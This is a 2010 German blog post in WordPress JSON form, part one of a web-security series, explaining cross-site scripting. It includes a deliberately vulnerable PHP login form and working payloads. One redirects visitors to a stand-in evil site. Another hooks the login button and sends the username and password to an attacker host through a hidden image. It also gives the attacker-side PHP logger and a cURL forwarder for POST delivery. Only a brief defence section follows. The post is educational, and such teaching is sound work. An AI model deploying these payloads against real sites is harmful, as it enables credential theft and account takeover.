{"id":408,"date":"2010-11-28T14:33:25","date_gmt":"2010-11-28T13:33:25","guid":{"rendered":"https:\/\/d-mueller.de\/blog\/?p=408"},"modified":"2016-01-11T23:36:29","modified_gmt":"2016-01-11T22:36:29","slug":"angriffe-auf-webanwendungen-teil-1-xss-beispielangriff","status":"publish","type":"post","link":"https:\/\/d-mueller.de\/blog\/angriffe-auf-webanwendungen-teil-1-xss-beispielangriff\/","title":{"rendered":"Angriffe auf Webanwendungen &#8211; Teil 1: XSS (+Beispielangriff)"},"content":{"rendered":"<p>Das ist der Anfang einer kleinen Serie, die das Thema &#8222;Websecurity&#8220; umrei\u00dft. Dabei werde ich mit <b>konkreten Angriffsszenarien<\/b> auf die Techniken XSS, <a href=\"https:\/\/d-mueller.de\/blog\/angriffe-auf-webanwendungen-teil-2-session-highjacking-und-session-fixation\/\">Session Highjacking + Session Fixation<\/a>, <a href=\"https:\/\/d-mueller.de\/blog\/angriffe-auf-webanwendungen-teil-3-sql-injection\/\">SQL Injection<\/a> und <a href=\"https:\/\/d-mueller.de\/blog\/angriffe-auf-webanwendungen-teil-4-csrf\/\">CSRF<\/a> eingehen. Die Grundlage legen wir mit diesem Artikel und XSS, da viele der sp\u00e4teren Angriffe auf XSS aufsetzen.<\/p>\n<h3>Was ist XSS \/ Cross-Site-Scripting?<\/h3>\n<p>Sollte doch eigentlich mittlerweile jeder wissen, oder? Jegliche M\u00f6glichkeit, als Angreifer eigenen Javascript-Code auf eine Webseite zu schleusen.<\/p>\n<h3>Varianten von XSS<\/h3>\n<p>Grunds\u00e4tzlich unterscheidet man zwischen 2 verschiedenen Arten des Cross-Site-Scriptings: Die <b>dauerhafte<\/b> Unterbringung von eigenem Code auf einer Webseite und die <b>tempor\u00e4re<\/b>. Auf beide gehe ich nachher mit konkreten Angriffsszenarien ein.<\/p>\n<ul>\n<li><b>Dauerhaftes XSS<\/b>: Bei der dauerhaften Variante kann man sich z.B. vorstellen, dass der Angreifer Javascript-Code in ein G\u00e4stebuch einschleusen kann, welches dann in der Datenbank gespeichert wird und allen folgenden Besuchern wieder ausgeliefert wird.<\/li>\n<li><b>Tempor\u00e4res XSS<\/b>: Der Angreifer schickt seinem Opfer einen pr\u00e4parierten Link zu, der dann bspw. auf der Anmeldeseite exklusiv f\u00fcr diesen Benutzer ein Script einbindet. Dieses kann dann zum Beispiel Cookies auslesen oder einen kleinen &#8222;Keylogger&#8220; installieren und die gesammelten Daten dann an den Angreifer \u00fcbertragen. Solch einen Link kann man elegant durch einen Short-URL-Service tarnen und diesen dann bei Twitter \/ facebook oder \u00e4hnlichem publik machen. Irgendwer f\u00e4llt leider immer drauf rein.<\/li>\n<\/ul>\n<h3>Was kann man mit XSS schon gef\u00e4hrliches machen&#8230;<\/h3>\n<p>So hab ich bis vor kurzem auch noch gedacht und damit XSS f\u00e4lschlicherweise total untersch\u00e4tzt. XSS kann dem Angreifer die M\u00f6glichkeit geben, einen oder gleich mehrere Accounts zu \u00fcbernehmen. Weniger dramatisch, aber trotzdem \u00e4rgerlich k\u00f6nnte auch das G\u00e4stebuch von Greenpeace auf eine <i>pro-Atomkraft<\/i> Webseite weitergeleitet werden.<\/p>\n<h3>Bring on the code<\/h3>\n<h4>Dauerhaftes XSS<\/h4>\n<p>Der Entwickler vergisst, den Userinput zu validieren. Das kann etwa so aussehen, dass er auf <b>htmlentities<\/b> \/ <b>htmlspecialchars<\/b> verzichtet, wenn er einen G\u00e4stebucheintrag abspeichert. Wenn man sich mal vorstellt, was los w\u00e4re wenn auf der Facebook-Pinnwand oder bei Twitter sowas m\u00f6glich w\u00e4re&#8230; Ein &#8222;G\u00e4stebucheintrag&#8220; k\u00f6nnte dann bestenfalls wie folgt aussehen:<\/p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">\r\n&lt;script&gt;document.location = &quot;http:\/\/www.evil-website.com&quot;;&lt;\/script&gt;\r\n<\/pre>\n<p>W\u00fcrde bewirken, dass alle Besucher des G\u00e4stebuchs weitergeleitet werden. So k\u00f6nnte man sehr subtil auf eine <a href=\"http:\/\/de.wikipedia.org\/wiki\/Phishing\">Phishing<\/a>-Webseite weiterleiten.<\/p>\n<p>Es gibt ja die goldene Regel <b>vertraue GARKEINEM Userinput<\/b>. Selbst die Angaben aus $_SERVER, die vom Benutzer ver\u00e4ndert werden k\u00f6nnen, sind nicht vertrauensw\u00fcrdig. <b>Beispiel:<\/b> Eine Seite liest den Browser des Users mit <\/p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\r\n$browser = $_SERVER[&#039;HTTP_USER_AGENT&#039;];\r\n<\/pre>\n<p>aus, um auf der Webseite zu Informationszwecken allen Benutzern anzuzeigen, welche Browser gerade online sind. Der User-Agent kann vom Benutzer aber beliebig ver\u00e4ndert werden. Da kann also locker mal Javascript drin stehen.<\/p>\n<h4>Tempor\u00e4res XSS<\/h4>\n<p>Man stelle sich mal folgende Login-Maske vor:<\/p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\r\n&lt;h1&gt;Please Log In&lt;\/h1&gt;\r\n&lt;form method=&quot;GET&quot; action=&quot;&lt;?php echo $_SERVER[&#039;PHP_SELF&#039;]; ?&gt;&quot;&gt;\r\n\t&lt;div&gt;\r\n\t\t&lt;label for=&quot;username&quot;&gt;Username:&lt;\/label&gt;\r\n\t\t&lt;input id=&quot;username&quot; type=&quot;text&quot; name=&quot;username&quot; value=&quot;&lt;?php echo $_GET[&#039;username&#039;]; ?&gt;&quot; \/&gt;\r\n\t&lt;\/div&gt;\r\n\t&lt;div&gt;\r\n\t\t&lt;label for=&quot;pass&quot;&gt;Pass:&lt;\/label&gt;\r\n\t\t&lt;input id=&quot;pass&quot; type=&quot;text&quot; name=&quot;pass&quot; value=&quot;&lt;?php echo $_GET[&#039;pass&#039;]; ?&gt;&quot; \/&gt;\r\n\t&lt;\/div&gt;\r\n\t&lt;div&gt;\r\n\t\t&lt;input type=&quot;submit&quot; id=&quot;send&quot;&gt;\r\n\t&lt;\/div&gt;\r\n&lt;\/form&gt;\t\r\n<\/pre>\n<p>Gar nicht so abwegig, oder? Das ge\u00fcbte Auge erkennt sofort die Schw\u00e4che: Der Username und das Passwort wird ungefiltert aus $_GET wieder in die Felder \u00fcbernommen. Wird aus Bequemlichkeitsgr\u00fcnden gern gemacht, falls der Benutzer sich vertippt hat. Was nun, wenn ich einem Benutzer dieser Webseite folgenden Link zuschicke:<\/p>\n<pre data-enlighter-language=\"enlighter\" class=\"EnlighterJSRAW\">\r\nhttp:\/\/www.webseite.de\/login.php?username=&quot;&gt;&lt;script&gt;alert(&quot;Hallo!&quot;);&lt;\/script&gt;\r\n<\/pre>\n<p>Wahnsinn! Der Benutzer wird mit einer alert-Box begr\u00fc\u00dft. Wirklich garstig! Okay, Spa\u00df bei Seite. Folgendes kann man sich vorstellen:<\/p>\n<pre data-enlighter-language=\"enlighter\" class=\"EnlighterJSRAW\">\r\nhttp:\/\/www.webseite.de\/login.php?&quot;&gt;&lt;script&gt;window.setTimeout(function(){document.getElementById(&quot;send&quot;).onclick=onsubmit;function onsubmit(){var theimg=document.createElement(&quot;img&quot;),user=document.getElementById(&quot;username&quot;).value,pass=document.getElementById(&quot;pass&quot;).value,url=&quot;http:\/\/localhost\/xssexploit.php?username=&quot;%2Buser%2B&quot;%26pass=&quot;%2Bpass%2B&quot;%26nocache=time&quot;;theimg.src=url;document.body.appendChild(theimg);theimg.style.display=&quot;none&quot;;window.setTimeout(function(){document.forms[0].submit();},1000);return false;}},1000);&lt;\/script&gt;&lt;span id=&quot;nothing\r\n<\/pre>\n<p>Das dr\u00f6seln wir mal auf:<\/p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">\r\n&lt;script&gt;\r\nwindow.setTimeout(function()\r\n{\r\n\tdocument.getElementById(&quot;send&quot;).onclick=onsubmit;\r\n\tfunction onsubmit()\r\n\t{\r\n\t\tvar theimg=document.createElement(&quot;img&quot;),\r\n\t\t\tuser=document.getElementById(&quot;username&quot;).value,\r\n\t\t\tpass=document.getElementById(&quot;pass&quot;).value,\r\n\t\t\turl=&quot;http:\/\/www.attacker.de\/xssexploit.php?username=&quot;%2Buser%2B&quot;%26pass=&quot;%2Bpass%2B&quot;%26nocache=time&quot;;\r\n\r\n\t\ttheimg.src=url;\r\n\t\tdocument.body.appendChild(theimg);\r\n\t\ttheimg.style.display=&quot;none&quot;;\r\n\t\t\r\n\t\twindow.setTimeout(function()\r\n\t\t{\r\n\t\t\tdocument.forms[0].submit();\r\n\t\t},1000);\r\n\t\t\r\n\t\treturn false;\r\n\t}\r\n},1000);\r\n&lt;\/script&gt;\r\n&lt;span id=&quot;nothing\r\n<\/pre>\n<p><b>Erkl\u00e4rungen dazu:<\/b><\/p>\n<ol>\n<li>Wir schachteln den kompletten Code in einen Timeout, weil wir ja in das Feld <i>username<\/i> den XSS-Code einschleusen. Dieses ist typischerweise \u00fcber dem Submit-Button platziert, der also zur Verarbeitungszeit des XSS-Javascripts noch nicht bekannt ist. Deswegen warten wir etwas, bis der Button garantiert geredert ist.<\/li>\n<li>Wir geben dem Submit Button einen <i>onclick<\/i>-Handler mit<\/li>\n<li>In diesem onclick-Handler schnappen wir uns den Wert des Feldes &#8222;username&#8220; und den des Feldes &#8222;pass&#8220;. und erstellen ein unsichtbares Bild, welches ein Script auf der Seite des Angreifers mit diesen Informationen aufruft. Zu Beachten: Das &#8222;+&#8220;-Zeichen muss mit <i>%2B<\/i> encodet werden, da es sonst als Leerzeichen interpretiert wird. Auch das <i>&#038;<\/i> durch <i>%26<\/i> zu ersetzen ist empfehlenswert<\/li>\n<li>Wir definieren einen Timeout, der die Form in einer Sekunde abschickt. So gehen wir sicher, dass das Script auch garantiert geladen wird und alle Daten an den Angreifer \u00fcbertragen werden konnten.<\/li>\n<li>Wir returnen <i>false<\/i> im onclick-Handler um ein sofortiges Absenden der Form zu verhindern.<\/li>\n<li>Schlussendlich wird noch\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">&lt;span id=&quot;nothing<\/pre>\n<p> angeh\u00e4ngt, weil sonst die Zeichen <b>&#8220; \/><\/b> hinter dem &#8222;gehighjackten&#8220; username-Feld erscheinen w\u00fcrden. Das span ist unsichtbar und frisst diese Zeichen weg, um den User nicht misstrauisch zu machen.<\/li>\n<\/ul>\n<p>Auf der <b>Angreifer-Seite<\/b> unter <i>http:\/\/www.attacker.de\/xssexploit.php<\/i> liegt nun folgendes Script:<\/p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\r\n$data = &quot;Username: &quot;.$_GET[&#039;username&#039;].&quot; \/ Password: &quot;.$_GET[&#039;pass&#039;].&quot;\\r\\n&quot;;\r\nfile_put_contents(&quot;userdata.txt&quot;,$data,FILE_APPEND);\r\n<\/pre>\n<p>Ganz simpel. Das Opfer wird von dem Angriff nichts merken, weil es sich wie gewohnt einloggen kann, der Angreifer kriegt seine Passwort-Datei bef\u00fcllt.<\/p>\n<h5>Aber wer verwendet denn schon $_GET, mit $_POST w\u00e4re das nicht m\u00f6glich!<\/h5>\n<p>Sch\u00f6n w\u00e4rs&#8230; Man muss nur etwas kreativer als Angreifer werden. Ich platziere eine Datei <b>xssforward.php<\/b> auf meinem Webspace. Die Datei hat folgenden Inhalt:<\/p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\r\n$xss = &#039;&quot;&gt;&lt;script&gt;window.setTimeout(function(){document.getElementById(&quot;send&quot;).onclick=onsubmit;function onsubmit(){var theimg=document.createElement(&quot;img&quot;),user=document.getElementById(&quot;username&quot;).value,pass=document.getElementById(&quot;pass&quot;).value,url=&quot;http:\/\/localhost\/xssexploit.php?username=&quot;%2Buser%2B&quot;%26pass=&quot;%2Bpass%2B&quot;%26nocache=time&quot;;theimg.src=url;document.body.appendChild(theimg);theimg.style.display=&quot;none&quot;;window.setTimeout(function(){document.forms[0].submit();},1000);return false;}},1000);&lt;\/script&gt;&lt;span id=&quot;nothing&#039;;\r\n\r\n$ch = curl_init(&#039;http:\/\/www.webseite.de\/login.php&#039;);\r\ncurl_setopt($ch, CURLOPT_POST, 1);\r\ncurl_setopt($ch, CURLOPT_POSTFIELDS, &quot;username=$xss&quot;);\r\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\ncurl_exec($ch);\r\ncurl_close($ch);\r\n<\/pre>\n<p>Damit wird einfach nur ein POST-Request auf die Login-Seite abgesetzt, welcher das XSS einschleust. Wenn ich jetzt meine Seite noch durch einen Short-Link-Service verschl\u00fcssele, ist das auch ziemlich unauff\u00e4llig. <b>Anmerkung:<\/b> Normalerweise w\u00fcrde bei einem ung\u00fcltigen Login von der Anmeldeseite zumindest ein Warnhinweis ausgegeben werden, der den Benutzer misstrauisch machen k\u00f6nnte.<\/p>\n<h3>Und was mache ich nun dagegen?<\/h3>\n<p>Alles, was Userinput ist, mit <a href=\"http:\/\/php.net\/manual\/de\/function.htmlentities.php\">htmlentites<\/a> oder <a href=\"http:\/\/www.php.net\/manual\/de\/function.htmlspecialchars.php\">htmlspecialchars<\/a> encoden und generell keinem Userinput vertrauen. Keinem!<\/p>\n<h3>Erg\u00e4nzung: Ein Hoch auf den IE<\/h3>\n<p>Mir ist grad aufgefallen, dass der IE8 XSS erkennt und verhindert. Echt gut! H\u00e4tte nicht gedacht, dass ich nochmal eine Lobpreisung f\u00fcr den IE 8 aussprechen w\u00fcrde.<br \/>\n<div id=\"attachment_413\" style=\"width: 310px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/d-mueller.de\/blog\/wp-content\/uploads\/2010\/11\/ie8-xss.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-413\" src=\"https:\/\/d-mueller.de\/blog\/wp-content\/uploads\/2010\/11\/ie8-xss-300x156.png\" alt=\"\" title=\"ie8-xss\" width=\"300\" height=\"156\" class=\"size-medium wp-image-413\" srcset=\"https:\/\/d-mueller.de\/blog\/wp-content\/uploads\/2010\/11\/ie8-xss-300x156.png 300w, https:\/\/d-mueller.de\/blog\/wp-content\/uploads\/2010\/11\/ie8-xss.png 708w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-413\" class=\"wp-caption-text\">ie8-xss<\/p><\/div>\n<\/p>\n<h3>Weitere Teile der Serie<\/h3>\n<ul>\n<li><a href=\"https:\/\/d-mueller.de\/blog\/angriffe-auf-webanwendungen-teil-2-session-highjacking-und-session-fixation\/\">Teil 2: Session-Highjacking und Session-Fixation<\/a><\/li>\n<li><a href=\"https:\/\/d-mueller.de\/blog\/angriffe-auf-webanwendungen-teil-3-sql-injection\/\">Teil 3: SQL-Injection<\/a><\/li>\n<li><a href=\"https:\/\/d-mueller.de\/blog\/angriffe-auf-webanwendungen-teil-4-csrf\/\">Teil 4: CSRF<\/a><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Das ist der Anfang einer kleinen Serie, die das Thema &#8222;Websecurity&#8220; umrei\u00dft. Dabei werde ich mit konkreten Angriffsszenarien auf die Techniken XSS, Session Highjacking + Session Fixation, SQL Injection und CSRF eingehen. Die Grundlage legen wir mit diesem Artikel und &hellip; <a href=\"https:\/\/d-mueller.de\/blog\/angriffe-auf-webanwendungen-teil-1-xss-beispielangriff\/\">Weiterlesen <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,6,3],"tags":[],"class_list":["post-408","post","type-post","status-publish","format-standard","hentry","category-php","category-security","category-webdev"],"_links":{"self":[{"href":"https:\/\/d-mueller.de\/blog\/wp-json\/wp\/v2\/posts\/408","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/d-mueller.de\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/d-mueller.de\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/d-mueller.de\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/d-mueller.de\/blog\/wp-json\/wp\/v2\/comments?post=408"}],"version-history":[{"count":0,"href":"https:\/\/d-mueller.de\/blog\/wp-json\/wp\/v2\/posts\/408\/revisions"}],"wp:attachment":[{"href":"https:\/\/d-mueller.de\/blog\/wp-json\/wp\/v2\/media?parent=408"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/d-mueller.de\/blog\/wp-json\/wp\/v2\/categories?post=408"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/d-mueller.de\/blog\/wp-json\/wp\/v2\/tags?post=408"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}